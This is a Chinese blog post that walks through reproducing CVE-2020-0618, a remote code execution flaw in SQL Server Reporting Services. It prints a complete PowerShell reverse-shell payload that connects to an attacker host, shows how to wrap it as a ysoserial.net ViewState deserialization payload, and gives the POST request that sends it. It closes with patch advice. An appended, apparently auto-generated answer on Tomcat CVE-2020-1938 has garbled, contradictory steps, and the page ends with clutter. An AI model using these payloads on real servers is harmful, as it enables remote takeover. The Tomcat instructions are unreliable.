sqlserver 2017修复安装_(CVE-2020-0618)SQL Server 远程代码执行复现

本文详细介绍了CVE-2020-0618,一个影响SQL Server Reporting Services的远程代码执行漏洞。文章通过0x00到0x05的章节,从漏洞简介、影响版本、环境搭建、漏洞复现和修复方式等方面,逐步展示了如何利用和防范该漏洞。攻击者可以通过精心构造的请求在报表服务器服务帐户上下文中执行任意代码。微软已经发布了安全更新来修复这个问题,建议受影响的用户尽快安装补丁。
摘要由CSDN通过智能技术生成

e27a1c95a8d21c5ef99dcb63b85919c0.png

0x00简介

2月12日,微软发布安全更新披露了Microsoft SQL Server Reporting Services 远程代码执行漏洞(CVE-2020-0618)。SQL Server 是Microsoft 开发的一个关系数据库管理系统(RDBMS),是现在世界上广泛使用的数据库之一。

32210031a2227588a51ada26c0232a88.png

0x01漏洞简介

获得低权限的攻击者向受影响版本的SQL Server的Reporting Services实例发送精心构造的请求,可利用此漏洞在报表服务器服务帐户的上下文中执行任意代码。

0x02影响版本

SQL Server 2012 for 32-bit Systems Service Pack 4 (QFE)

SQL Server 2012 for x64-based Systems Service Pack 4 (QFE)

SQL Server 2014 Service Pack 3 for 32-bit Systems (CU)

SQL Server 2014 Service Pack 3 for 32-bit Systems (GDR)

SQL Server 2014 Service Pack 3 for x64-based Systems (CU)

SQL Server 2014 Service Pack 3 for x64-based Systems (GDR)

SQL Server 2016 for x64-based Systems Service Pack 1

SQL Server 2016 for x64-based Systems Service Pack 2 (CU)

SQL Server 2016 for x64-based Systems Service Pack 2 (GDR)

0x03环境搭建

1. 下载安装windows server2016标准版standard

0c8288a78f8d0e313e807bca2bb9c20d.png

下载地址:

ed2k://|file|cn_windows_server_2016_x64_dvd_9718765.iso|6176450560|CF1B73D220F1160DE850D9E1979DBD50|/            //使用迅雷打开

2. 下载安装Sql Server 2016数据库

选择全新安装sqlserver

4578d2484c0121c13ff6b32a72af8859.png

一直下一步到功能选择勾上"数据库引擎服务"和"Reporting Services"服务。

3b5f27ae6641c85a40f03395b3558cdb.png

在”数据库引擎配置”选择混合模式创建账号 账号:sa 密码:123456便于后面连接报表服务器。

e5fa3dea472ff50ddd673461aa55e599.png

b93c5b19cccd7afce92c4c076e27e705.png

访问 http://localhost/ReportS,创建分页报表,提示需要安装报表服务器。

2036a912841b2e95d9e0db65c77cc601.png

下载报表生成器,安装好报表服务器后,新建一个报表

4b2d05fbb5dc79e9a6beb7676b80ab1a.png

c16450e9f05008b63854d8f000a28caf.png

52cb92ec624826ff1ca2ab1af7e00e8d.png

此时就用到了我们前面设置的账号密码 sa/123456

2062de52b760156a3f11d8660901690c.png

cbb6d6f1ecd7671cb2efafc390be1f4a.png

然后把左侧字段拉到右测即可

896cac6468fb77a0e3e4147890997542.png

到了这里报表就创建好了

cc138de237da1bf8c7c16fb65179566a.png

保存一下,然后点击运行

174858beb92a1bdaf1895211d462aa72.png

3826226730aeb485c025961a01f8b8ef.png

在浏览器访问漏洞路径:

http://localhost/ReportServer/Pages/ReportViewer.aspx

144322b7cfc3d19b8ecf2dd9b973c489.png

0x04漏洞复现

1. 下载POC编译工具

下载地址:https://github.com/incredibleindishell/ysoserial.net-complied

2.使用powershell打开ysoserial.exe工具生成有效负载,执行完最后一步的时候payload已经存在于剪切板。

1. $command = '$client = New-Object System.Net.Sockets.TCPClient("nc反弹的ip",监听的端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

2. $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

3. $encodedCommand = [Convert]::ToBase64String($bytes)

4. .ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

383507eac5c39cb88bf0a89d49dc8ab2.png

3.下载Postman-win64-7.22.1:https://www.postman.com/

安装并启动postman,发送方式POST,地址http://localhost/ReportServer/pages/ReportViewer.aspx

Body中填入键值对

NavigationCorrector$PageState= NeedsCorrection

NavigationCorrector$ViewState=payload(payload生成方式上面讲到)

__VIEWSTATE=

如下图

da40b9c4a2d4f6de648b9fc930bb5692.png

Authorization中TYPE选择NTLM,用户名密码出填入本机用户的用户名和密码,如下图

e5bee000e1701f624aa9cb828fda8b3a.png

注意此处如果不配置Authorization,发送后会返回401 unauthorized

配置完成后,点击发送,返回结果如下图

ae01bc481ebc5de126ac1dfadd8559c3.png

回到nc查看已经成功收到反连shell,如下图

b04e14d9b17d6e516d49edf4f7d9c494.png

我们在执行几个命令

562c1aa5e11a6fa4949002149c07a9f0.png

0x05修复方式

目前微软官方已针对受支持的版本发布了修复该漏洞的安全补丁,请受影响的用户尽快安装补丁进行防护。

临时修复方案

将Reporting Services监听ip改为本地。暂时禁用外部连接,保证此服务安全。

59e1c520734befdc8d0b4ea8b1ac7ff4.png
复现Tomact_CVE-2020-1938漏洞,可以按照以下步骤进行操作: 1. 下载POC:可以使用以下命令下载POC文件: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 2. 在攻击机上搭建环境:确保攻击机上已经安装了Tomcat服务器,并且版本在3.4.3以下,可以使用以下命令下载并安装Tomcat 3.4.3版本: git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 3. 配置Tomcat服务器:在Tomcat安装目录下,找到server.xml文件,在<Connector>标签中添加以下内容: protocol="org.apache.coyote.ajp.AjpNio2Protocol" secretRequired="false" 4. 启动Tomcat服务器:在Tomcat安装目录下运行启动脚本,如./catalina.sh run 5. 复现漏洞:使用以下命令触发漏洞复现: python3 file_include.py -u http://目标IP:目标端口/ -p /WEB-INF/web.xml 以上步骤可以帮助你复现Tomact_CVE-2020-1938漏洞。请注意,在进行漏洞复现时务必遵守道德规范,并获得合法授权进行测试。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [CVE-2020-1938 漏洞复现](https://blog.csdn.net/weixin_48799157/article/details/124889366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [CVE-2020-1938 Tomcat文件包含漏洞复现](https://blog.csdn.net/qq_49279082/article/details/129018726)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值